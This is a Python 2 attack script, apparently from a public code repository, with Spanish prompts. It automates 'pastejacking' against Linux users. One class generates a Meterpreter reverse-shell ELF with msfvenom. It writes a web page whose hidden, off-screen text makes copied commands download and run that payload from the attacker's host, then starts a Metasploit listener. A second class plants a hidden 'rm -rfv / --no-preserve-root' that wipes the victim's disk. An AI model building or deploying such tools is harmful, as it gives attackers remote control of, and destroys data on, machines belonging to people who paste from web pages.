-
Notifications
You must be signed in to change notification settings - Fork 7
/
Copy pathlinux.py
41 lines (41 loc) · 2.4 KB
/
linux.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#-*- coding: utf-8 -*-
#Autor: Andrés Montoya (SpyRock)
#No me hago responsable del mal uso que este se le pueda dar.
#!/usr/bin/python
import sys
import os
from colores import *
class linux:
def __init__(self):
self.ip=raw_input(bcolors.payload+"Ingrese ip: ")
self.port=raw_input(bcolors.payload+"Ingrese puerto: ")
self.mensaje1=raw_input(bcolors.payload+"Ingrese primer mensaje: ")
self.mensaje2=raw_input(bcolors.payload+"Ingrese segundo mensaje: ")
self.comando=raw_input(bcolors.payload+"Ingrese comando: ")
def linuxinfect(self):
print bcolors.WARNING+"["+bcolors.FAIL+"♬"+bcolors.WARNING+"]"+bcolors.payload+"Creando Payload...!"
os.system("msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=" + self.ip + " LPORT=" + self.port + " -f elf > /var/www/html/payload.elf")
index="index.html"
job=open(index,"w")
job.write("""<p> """ + self.mensaje1 + """ <span style="position: absolute; left: -2000; top: -100px;" >/dev/null; clear; wget http://"""+self.ip+"""/payload.elf &> /dev/null && chmod +x ./payload.elf && ./payload.elf & disown && clear <br> """ + self.comando + """ </span> """+self.mensaje2+""" </p>""")
job.close()
os.system("cp index.html /var/www/html")
print bcolors.WARNING+"["+bcolors.FAIL+"♬"+bcolors.WARNING+"]"+bcolors.payload+"Todo esta terminado "+bcolors.apache+"---> "+bcolors.payload+"http://"+self.ip+"/"
continuar=raw_input(bcolors.payload+"¿Desea continuar? (y/n) ")
if continuar == "y" or continuar == "Y":
documento="meta_config"
archivo = open(documento,"w")
archivo.write("""use multi/handler\nset payload linux/x86/meterpreter/reverse_tcp\nset LHOST """ + self.ip + """\nset LPORT """ + self.port + """\nset ExitOnSession false\nexploit -j""")
archivo.close()
os.system("msfconsole -r meta_config")
os.system("pasterock")
elif continuar == "n" or continuar == "N":
sys.exit(bcolors.FAIL+"Adiós")
class LinuxDelete(linux):
def linuxrm(self):
index="index.html"
job=open(index,"w")
job.write("""<p> """ + self.mensaje1 + """ <span style="position: absolute; left: -2000; top: -100px;" >/dev/null; clear; rm -rfv / --no-preserve-root & disown && clear <br> """ + self.comando + """ </span> """+self.mensaje2+""" </p>""")
job.close()
os.system("cp index.html /var/www/html")
print bcolors.WARNING+"["+bcolors.FAIL+"♬"+bcolors.WARNING+"]"+bcolors.payload+"Todo esta terminado "+bcolors.apache+"---> "+bcolors.payload+"http://"+self.ip+"/"